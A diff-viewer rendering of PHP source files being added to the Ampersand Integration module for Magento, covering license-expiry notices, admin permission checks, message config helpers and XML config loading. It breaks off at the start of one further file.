$this->_addWarning($message);
|
104 |
+
} else {
|
105 |
+
$this->_addNotice($message);
|
106 |
+
}
|
107 |
+
}
|
108 |
+
|
109 |
+
protected function _handleExpiringLicense($serviceCode, $expiresAt, $time)
|
110 |
+
{
|
111 |
+
if (4838400 < $expiresAt - $time) {
|
112 |
+
// [if] more than eight weeks until license expires
|
113 |
+
return;
|
114 |
+
}
|
115 |
+
|
116 |
+
$serviceDescription = Mage::getModel('ampersand_integration/service_info')
|
117 |
+
->load($serviceCode, 'code')
|
118 |
+
->getDataSetDefault('description', $serviceCode);
|
119 |
+
$message = $this->__(
|
120 |
+
'A license for the %s integration module will expire on %s',
|
121 |
+
$serviceDescription,
|
122 |
+
Mage::helper('core')->formatDate(
|
123 |
+
new Zend_Date($expiresAt), Mage_Core_Model_Locale::FORMAT_TYPE_FULL, true
|
124 |
+
)
|
125 |
+
);
|
126 |
+
|
127 |
+
if (1209600 > $expiresAt - $time) {
|
128 |
+
// [if] license expires in less than two weeks
|
129 |
+
$this->_addWarning($message);
|
130 |
+
} else {
|
131 |
+
$this->_addNotice($message);
|
132 |
+
}
|
133 |
+
}
|
134 |
+
|
135 |
+
protected function _addWarning($message)
|
136 |
+
{
|
137 |
+
if (!$this->_isRequestAjax()) {
|
138 |
+
$this->_getSession()->addWarning($message);
|
139 |
+
}
|
140 |
+
}
|
141 |
+
|
142 |
+
protected function _addNotice($message)
|
143 |
+
{
|
144 |
+
if (!$this->_isRequestAjax()) {
|
145 |
+
$this->_getSession()->addNotice($message);
|
146 |
+
}
|
147 |
+
}
|
148 |
+
|
149 |
+
protected function _initCurrentService()
|
150 |
+
{
|
151 |
+
if (!$serviceCode = $this->getRequest()->getParam('service_code')) {
|
152 |
+
return null;
|
153 |
+
}
|
154 |
+
|
155 |
+
Mage::helper('ampersand_integration/adminhtml')
|
156 |
+
->setCurrentServiceCode($serviceCode);
|
157 |
+
|
158 |
+
return Mage::helper('ampersand_integration/adminhtml')
|
159 |
+
->getCurrentService();
|
160 |
+
}
|
161 |
+
|
162 |
+
protected function _isRequestAjax()
|
163 |
+
{
|
164 |
+
if (version_compare(Mage::getVersion(), '1.4.0.1', '>')) {
|
165 |
+
return $this->getRequest()->isAjax();
|
166 |
+
}
|
167 |
+
|
168 |
+
if ($this->getRequest()->isXmlHttpRequest()) {
|
169 |
+
return true;
|
170 |
+
}
|
171 |
+
|
172 |
+
if ($this->getRequest()->getParam('ajax') || $this->getRequest()->getParam('isAjax')) {
|
173 |
+
return true;
|
174 |
+
}
|
175 |
+
|
176 |
+
return false;
|
177 |
+
}
|
178 |
+
}
|
app/code/core/Ampersand/Integration/Controller/Adminhtml/Message.php
ADDED
@@ -0,0 +1,71 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Controller
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Controller
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Controller_Adminhtml_Message
|
19 |
+
extends Ampersand_Integration_Controller_Adminhtml_Abstract
|
20 |
+
{
|
21 |
+
protected function _initTitle()
|
22 |
+
{
|
23 |
+
$this->_title($this->__('Integration'))
|
24 |
+
->_title($this->__('Message History'));
|
25 |
+
|
26 |
+
return $this;
|
27 |
+
}
|
28 |
+
|
29 |
+
protected function _initMessage()
|
30 |
+
{
|
31 |
+
if (!$id = $this->getRequest()->getParam('id')) {
|
32 |
+
if (!$identifierId = $this->getRequest()->getParam('identifier_id')) {
|
33 |
+
return null;
|
34 |
+
} else {
|
35 |
+
$id = Mage::getModel('ampersand_integration/message_identifier')
|
36 |
+
->load($identifierId)
|
37 |
+
->getMessageId();
|
38 |
+
}
|
39 |
+
}
|
40 |
+
|
41 |
+
$message = Mage::getModel('ampersand_integration/message')->load($id);
|
42 |
+
|
43 |
+
if (!$message->getId()) {
|
44 |
+
return null;
|
45 |
+
}
|
46 |
+
|
47 |
+
Mage::register('message', $message);
|
48 |
+
|
49 |
+
return $message;
|
50 |
+
}
|
51 |
+
|
52 |
+
protected function _isGridAllowed()
|
53 |
+
{
|
54 |
+
$service = Mage::helper('ampersand_integration/adminhtml')->getCurrentService();
|
55 |
+
|
56 |
+
return Mage::getSingleton('ampersand_integration/adminSession')
|
57 |
+
->isMessageGridAllowed($service);
|
58 |
+
}
|
59 |
+
|
60 |
+
protected function _isMessageDetailAllowed($message)
|
61 |
+
{
|
62 |
+
return Mage::getSingleton('ampersand_integration/adminSession')
|
63 |
+
->isMessageDetailAllowed($message->getService());
|
64 |
+
}
|
65 |
+
|
66 |
+
protected function _isMessageLogContentAllowed($message)
|
67 |
+
{
|
68 |
+
return Mage::getSingleton('ampersand_integration/adminSession')
|
69 |
+
->isMessageLogContentAllowed($message->getService());
|
70 |
+
}
|
71 |
+
}
|
app/code/core/Ampersand/Integration/Helper/Adminhtml.php
ADDED
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Helper
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Helper
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Helper_Adminhtml extends Ampersand_Core_Helper_Abstract
|
19 |
+
{
|
20 |
+
/** @var string */
|
21 |
+
protected $_currentServiceCode;
|
22 |
+
/** @var Ampersand_Integration_Model_Service */
|
23 |
+
protected $_currentService;
|
24 |
+
/** @var array */
|
25 |
+
|
26 |
+
public function getCurrentServiceCode()
|
27 |
+
{
|
28 |
+
return $this->_currentServiceCode;
|
29 |
+
}
|
30 |
+
|
31 |
+
public function setCurrentServiceCode($serviceCode)
|
32 |
+
{
|
33 |
+
$this->_currentServiceCode = $serviceCode;
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
|
38 |
+
public function getCurrentService()
|
39 |
+
{
|
40 |
+
if (is_null($this->_currentService) && ($serviceCode = $this->getCurrentServiceCode())) {
|
41 |
+
$this->_currentService = Mage::getModel('ampersand_integration/service_info')
|
42 |
+
->load($serviceCode, 'code');
|
43 |
+
}
|
44 |
+
|
45 |
+
return $this->_currentService;
|
46 |
+
}
|
47 |
+
|
48 |
+
public function getAllowedServiceIds($resource)
|
49 |
+
{
|
50 |
+
$serviceCodes = Mage::getResourceModel('ampersand_integration/service_info_collection')
|
51 |
+
->fetchPairs('code');
|
52 |
+
|
53 |
+
$allowedIds = array();
|
54 |
+
|
55 |
+
$session = Mage::getSingleton('ampersand_integration/adminSession');
|
56 |
+
foreach ($serviceCodes as $_id => $_code) {
|
57 |
+
if ($session->isMessageGridAllowed($_code)) {
|
58 |
+
$allowedIds[] = $_id;
|
59 |
+
}
|
60 |
+
}
|
61 |
+
|
62 |
+
return $allowedIds;
|
63 |
+
}
|
64 |
+
}
|
app/code/core/Ampersand/Integration/Helper/Data.php
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Helper
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Helper
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Helper_Data extends Ampersand_Core_Helper_Abstract
|
19 |
+
{
|
20 |
+
public function getService($code)
|
21 |
+
{
|
22 |
+
return Ampersand_Integration_Service::factory(
|
23 |
+
$this->_getBaseOutgoingMessageConfig(),
|
24 |
+
$this->_getBaseIncomingMessageConfig(),
|
25 |
+
$code
|
26 |
+
);
|
27 |
+
}
|
28 |
+
|
29 |
+
protected function _getBaseOutgoingMessageConfig()
|
30 |
+
{
|
31 |
+
return Mage::helper('ampersand_integration/message')->getBaseOutgoingConfig();
|
32 |
+
}
|
33 |
+
|
34 |
+
protected function _getBaseIncomingMessageConfig()
|
35 |
+
{
|
36 |
+
return Mage::helper('ampersand_integration/message')->getBaseIncomingConfig();
|
37 |
+
}
|
38 |
+
|
39 |
+
public function getConfig()
|
40 |
+
{
|
41 |
+
return Mage::getSingleton('ampersand_integration/config');
|
42 |
+
}
|
43 |
+
}
|
app/code/core/Ampersand/Integration/Helper/Message.php
ADDED
@@ -0,0 +1,158 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Helper
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Helper
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Helper_Message extends Ampersand_Core_Helper_Abstract
|
19 |
+
{
|
20 |
+
protected $_controllerRedirectUrl;
|
21 |
+
|
22 |
+
protected $_mapperClasses = array(
|
23 |
+
'mage_class' => 'ampersand_integration/mapper_className',
|
24 |
+
'mage_helper' => 'ampersand_integration/mapper_helper',
|
25 |
+
'store_config' => 'ampersand_integration/mapper_storeConfig',
|
26 |
+
'mage_store_config' => 'ampersand_integration/mapper_storeConfig',
|
27 |
+
'custom_fields' => 'ampersand_integration/mapper_customFields',
|
28 |
+
);
|
29 |
+
|
30 |
+
public function getBaseOutgoingConfig()
|
31 |
+
{
|
32 |
+
return $this->_getBaseConfig('outgoing');
|
33 |
+
}
|
34 |
+
|
35 |
+
public function getBaseIncomingConfig()
|
36 |
+
{
|
37 |
+
return $this->_getBaseConfig('incoming');
|
38 |
+
}
|
39 |
+
|
40 |
+
public function setControllerRedirectUrl($redirect)
|
41 |
+
{
|
42 |
+
$this->_controllerRedirectUrl = $redirect;
|
43 |
+
}
|
44 |
+
|
45 |
+
public function getControllerRedirectUrl()
|
46 |
+
{
|
47 |
+
return $this->_controllerRedirectUrl;
|
48 |
+
}
|
49 |
+
|
50 |
+
protected function _getBaseConfig($messageType)
|
51 |
+
{
|
52 |
+
$messageConfig = $this->_getNewMessageConfigInstance($messageType);
|
53 |
+
$messageConfig = $this->_prepareMessageConfig($messageConfig, $messageType);
|
54 |
+
$messageConfig = $this->_addLoggers($messageConfig);
|
55 |
+
|
56 |
+
return $messageConfig;
|
57 |
+
}
|
58 |
+
|
59 |
+
protected function _getNewMessageConfigInstance($messageType)
|
60 |
+
{
|
61 |
+
switch ($messageType) {
|
62 |
+
case 'outgoing':
|
63 |
+
$config = new Ampersand_Integration_Message_Config_Outgoing();
|
64 |
+
break;
|
65 |
+
case 'incoming':
|
66 |
+
$config = new Ampersand_Integration_Message_Config_Incoming();
|
67 |
+
break;
|
68 |
+
default:
|
69 |
+
throw new Ampersand_Integration_Exception(
|
70 |
+
"Unknown message config type '$messageType'"
|
71 |
+
);
|
72 |
+
}
|
73 |
+
|
74 |
+
return $config;
|
75 |
+
}
|
76 |
+
|
77 |
+
protected function _prepareMessageConfig(
|
78 |
+
Ampersand_Integration_Message_Config_Abstract $messageConfig, $messageType)
|
79 |
+
{
|
80 |
+
if ('incoming' === $messageType) {
|
81 |
+
$messageConfig->getTransportProvider()->addClass('mage_http',
|
82 |
+
$this->_getModelClassName('ampersand_integration/transport_incoming_http')
|
83 |
+
);
|
84 |
+
}
|
85 |
+
|
86 |
+
$messageConfig->getFilterProvider()->addClass('compress_dir', $this->_getModelClassName(
|
87 |
+
'ampersand_integration/message_filter_compressDirectory'
|
88 |
+
));
|
89 |
+
|
90 |
+
$messageConfig = $this->_prepareMapConfigs($messageConfig, $messageType);
|
91 |
+
|
92 |
+
return $messageConfig;
|
93 |
+
}
|
94 |
+
|
95 |
+
protected function _prepareMapConfigs(
|
96 |
+
Ampersand_Integration_Message_Config_Abstract $messageConfig)
|
97 |
+
{
|
98 |
+
$this->_prepareMessageMapConfig(
|
99 |
+
$messageConfig->getMessageMapConfig('outgoing'), 'outgoing'
|
100 |
+
);
|
101 |
+
$this->_prepareMessageMapConfig(
|
102 |
+
$messageConfig->getMessageMapConfig('incoming'), 'incoming'
|
103 |
+
);
|
104 |
+
|
105 |
+
$this->_prepareTypeMapConfig($messageConfig->getTypeMapConfig('outgoing'), 'outgoing');
|
106 |
+
$this->_prepareTypeMapConfig($messageConfig->getTypeMapConfig('incoming'), 'incoming');
|
107 |
+
|
108 |
+
return $messageConfig;
|
109 |
+
}
|
110 |
+
|
111 |
+
protected function _prepareMessageMapConfig(
|
112 |
+
Ampersand_Map_Config $messageMapConfig, $messageType)
|
113 |
+
{
|
114 |
+
$this->_prepareMapConfig($messageMapConfig);
|
115 |
+
$messageMapConfig->addXml($this->_getConfig()->getMessagesXml($messageType));
|
116 |
+
|
117 |
+
return $messageMapConfig;
|
118 |
+
}
|
119 |
+
|
120 |
+
protected function _prepareTypeMapConfig(Ampersand_Map_Config $typeMapConfig, $messageType)
|
121 |
+
{
|
122 |
+
$this->_prepareMapConfig($typeMapConfig);
|
123 |
+
$typeMapConfig->addXml($this->_getConfig()->getTypesXml($messageType));
|
124 |
+
|
125 |
+
return $typeMapConfig;
|
126 |
+
}
|
127 |
+
|
128 |
+
protected function _prepareMapConfig(Ampersand_Map_Config $mapConfig)
|
129 |
+
{
|
130 |
+
foreach ($this->_mapperClasses as $_alias => $_class) {
|
131 |
+
$mapConfig->getMapperProvider()->addClass($_alias, $this->_getModelClassName($_class));
|
132 |
+
}
|
133 |
+
|
134 |
+
return $mapConfig;
|
135 |
+
}
|
136 |
+
|
137 |
+
protected function _getModelClassName($modelName)
|
138 |
+
{
|
139 |
+
return Mage::getConfig()->getModelClassName($modelName);
|
140 |
+
}
|
141 |
+
|
142 |
+
protected function _addLoggers(Ampersand_Integration_Message_Config_Abstract $messageConfig)
|
143 |
+
{
|
144 |
+
$fileLogger = Mage::getModel('ampersand_integration/logger_file');
|
145 |
+
$dbLogger = Mage::getModel('ampersand_integration/logger_database');
|
146 |
+
|
147 |
+
$messageConfig->addLogger($fileLogger)
|
148 |
+
->addLogger($dbLogger)
|
149 |
+
;
|
150 |
+
|
151 |
+
return $messageConfig;
|
152 |
+
}
|
153 |
+
|
154 |
+
protected function _getConfig()
|
155 |
+
{
|
156 |
+
return Mage::getSingleton('ampersand_integration/config');
|
157 |
+
}
|
158 |
+
}
|
app/code/core/Ampersand/Integration/Helper/ServiceAbstract.php
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Helper
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Helper
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Helper_ServiceAbstract extends Mage_Core_Helper_Abstract
|
19 |
+
{
|
20 |
+
protected $_currentStore;
|
21 |
+
|
22 |
+
public function setCurrentStore($store)
|
23 |
+
{
|
24 |
+
try {
|
25 |
+
$this->_currentStore = Mage::app()->getStore($store);
|
26 |
+
} catch (Exception $e) {
|
27 |
+
// possibly trying to set store to the current store?
|
28 |
+
}
|
29 |
+
|
30 |
+
return $this;
|
31 |
+
}
|
32 |
+
|
33 |
+
public function getCurrentStore()
|
34 |
+
{
|
35 |
+
if (is_null($this->_currentStore)) {
|
36 |
+
return Mage::app()->getStore();
|
37 |
+
}
|
38 |
+
|
39 |
+
return $this->_currentStore;
|
40 |
+
}
|
41 |
+
|
42 |
+
public function getService()
|
43 |
+
{
|
44 |
+
return Mage::helper('ampersand_integration')->getService($this->_getServiceCode());
|
45 |
+
}
|
46 |
+
}
|
app/code/core/Ampersand/Integration/Model/AdminSession.php
ADDED
@@ -0,0 +1,96 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_AdminSession extends Mage_Admin_Model_Session
|
19 |
+
{
|
20 |
+
public function isDashboardAllowed()
|
21 |
+
{
|
22 |
+
return $this->_isIntegrationAllowed("dashboard");
|
23 |
+
}
|
24 |
+
|
25 |
+
public function isMessageGridAllowed($serviceCode = null)
|
26 |
+
{
|
27 |
+
if (!is_null($serviceCode)) {
|
28 |
+
$serviceCode = $this->_prepareServiceCode($serviceCode);
|
29 |
+
|
30 |
+
return $this->_isIntegrationAllowed("$serviceCode/message_history");
|
31 |
+
}
|
32 |
+
|
33 |
+
return $this->_isIntegrationAllowed('message_history');
|
34 |
+
}
|
35 |
+
|
36 |
+
public function isMessageDetailAllowed($serviceCode)
|
37 |
+
{
|
38 |
+
$serviceCode = $this->_prepareServiceCode($serviceCode);
|
39 |
+
|
40 |
+
return $this->_isIntegrationAllowed("$serviceCode/message_detail");
|
41 |
+
}
|
42 |
+
|
43 |
+
public function isMessageLogContentAllowed($serviceCode)
|
44 |
+
{
|
45 |
+
$serviceCode = $this->_prepareServiceCode($serviceCode);
|
46 |
+
|
47 |
+
return $this->_isIntegrationAllowed("$serviceCode/message_log_content");
|
48 |
+
}
|
49 |
+
|
50 |
+
public function isMessageIdentifierGridAllowed($serviceCode = null)
|
51 |
+
{
|
52 |
+
if (!is_null($serviceCode)) {
|
53 |
+
$serviceCode = $this->_prepareServiceCode($serviceCode);
|
54 |
+
|
55 |
+
return $this->_isIntegrationAllowed("$serviceCode/messageidentifier");
|
56 |
+
}
|
57 |
+
|
58 |
+
return $this->_isIntegrationAllowed('messageidentifier');
|
59 |
+
}
|
60 |
+
|
61 |
+
public function isFlagGridAllowed($serviceCode = null)
|
62 |
+
{
|
63 |
+
if (!is_null($serviceCode)) {
|
64 |
+
$serviceCode = $this->_prepareServiceCode($serviceCode);
|
65 |
+
|
66 |
+
return $this->_isIntegrationAllowed("$serviceCode/flag");
|
67 |
+
}
|
68 |
+
|
69 |
+
return $this->_isIntegrationAllowed('flag');
|
70 |
+
}
|
71 |
+
|
72 |
+
public function isFlagDetailAllowed($serviceCode)
|
73 |
+
{
|
74 |
+
$serviceCode = $this->_prepareServiceCode($serviceCode);
|
75 |
+
|
76 |
+
return $this->_isIntegrationAllowed("$serviceCode/flag_detail");
|
77 |
+
}
|
78 |
+
|
79 |
+
protected function _prepareServiceCode($serviceCode)
|
80 |
+
{
|
81 |
+
if (is_object($serviceCode)) {
|
82 |
+
$serviceCode = $serviceCode->getCode();
|
83 |
+
} else if (preg_match('/^\d+$/', $serviceCode)) {
|
84 |
+
$serviceCode = Mage::getModel('ampersand_integration/service_info')
|
85 |
+
->load($serviceCode)
|
86 |
+
->getCode();
|
87 |
+
}
|
88 |
+
|
89 |
+
return $serviceCode;
|
90 |
+
}
|
91 |
+
|
92 |
+
protected function _isIntegrationAllowed($resource, $privilege = null)
|
93 |
+
{
|
94 |
+
return parent::isAllowed("ampersand_integration/$resource", $privilege);
|
95 |
+
}
|
96 |
+
}
|
app/code/core/Ampersand/Integration/Model/Config.php
ADDED
@@ -0,0 +1,100 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Config
|
19 |
+
{
|
20 |
+
protected $_messagesXml = array();
|
21 |
+
protected $_typesXml = array();
|
22 |
+
|
23 |
+
public function getMessagesXml($messageType)
|
24 |
+
{
|
25 |
+
if (!array_key_exists($messageType, $this->_messagesXml)) {
|
26 |
+
$configBase = $this->_getNewConfigBaseInstance();
|
27 |
+
$configBase = $this->_applyEmptyMessagesXml($configBase, $messageType);
|
28 |
+
$this->_prepareConfigBase($configBase, $messageType);
|
29 |
+
|
30 |
+
$configBase = $this->_loadModulesConfiguration(
|
31 |
+
'messages.xml', $configBase, $this->_getNewConfigBaseInstance(), $messageType
|
32 |
+
);
|
33 |
+
|
34 |
+
$this->_messagesXml[$messageType] = $configBase->getNode()->asValidXml();
|
35 |
+
}
|
36 |
+
|
37 |
+
return $this->_messagesXml[$messageType];
|
38 |
+
}
|
39 |
+
|
40 |
+
public function getTypesXml($messageType)
|
41 |
+
{
|
42 |
+
if (!array_key_exists($messageType, $this->_typesXml)) {
|
43 |
+
$configBase = $this->_getNewConfigBaseInstance();
|
44 |
+
$configBase = $this->_applyEmptyTypesXml($configBase, $messageType);
|
45 |
+
$configBase = $this->_prepareConfigBase($configBase, $messageType);
|
46 |
+
|
47 |
+
$configBase = $this->_loadModulesConfiguration(
|
48 |
+
'types.xml', $configBase, $this->_getNewConfigBaseInstance(), $messageType
|
49 |
+
);
|
50 |
+
|
51 |
+
$this->_typesXml[$messageType] = $configBase->getNode()->asValidXml();
|
52 |
+
}
|
53 |
+
|
54 |
+
return $this->_typesXml[$messageType];
|
55 |
+
}
|
56 |
+
|
57 |
+
protected function _getNewConfigBaseInstance()
|
58 |
+
{
|
59 |
+
return Mage::getModel('ampersand_integration/config_base');
|
60 |
+
}
|
61 |
+
|
62 |
+
protected function _prepareConfigBase($configBase)
|
63 |
+
{
|
64 |
+
$configBase->appendOnExtendCollision('m:*#*', true)
|
65 |
+
->appendOnExtendCollision('r:*#*', true)
|
66 |
+
;
|
67 |
+
|
68 |
+
return $configBase;
|
69 |
+
}
|
70 |
+
|
71 |
+
protected function _applyEmptyMessagesXml($configBase)
|
72 |
+
{
|
73 |
+
$configBase->loadString('<messages/>');
|
74 |
+
|
75 |
+
return $configBase;
|
76 |
+
}
|
77 |
+
|
78 |
+
protected function _applyEmptyTypesXml($configBase)
|
79 |
+
{
|
80 |
+
$configBase->loadString('<types/>');
|
81 |
+
|
82 |
+
return $configBase;
|
83 |
+
}
|
84 |
+
|
85 |
+
protected function _loadModulesConfiguration($filename, $mergeToObject, $mergeModel, $messageType)
|
86 |
+
{
|
87 |
+
switch ($messageType) {
|
88 |
+
case 'outgoing':
|
89 |
+
$prefix = 'out.';
|
90 |
+
break;
|
91 |
+
case 'incoming':
|
92 |
+
$prefix = 'in.';
|
93 |
+
break;
|
94 |
+
default:
|
95 |
+
throw new Exception("Unknown message type '$messageType'");
|
96 |
+
}
|
97 |
+
|
98 |
+
return Mage::getConfig()->loadModulesConfiguration("integration/{$prefix}{$filename}", $mergeToObject, $mergeModel);
|
99 |
+
}
|
100 |
+
}
|
app/code/core/Ampersand/Integration/Model/Config/Base.php
ADDED
@@ -0,0 +1,49 @@
|
|
|
|
|
|
|
|
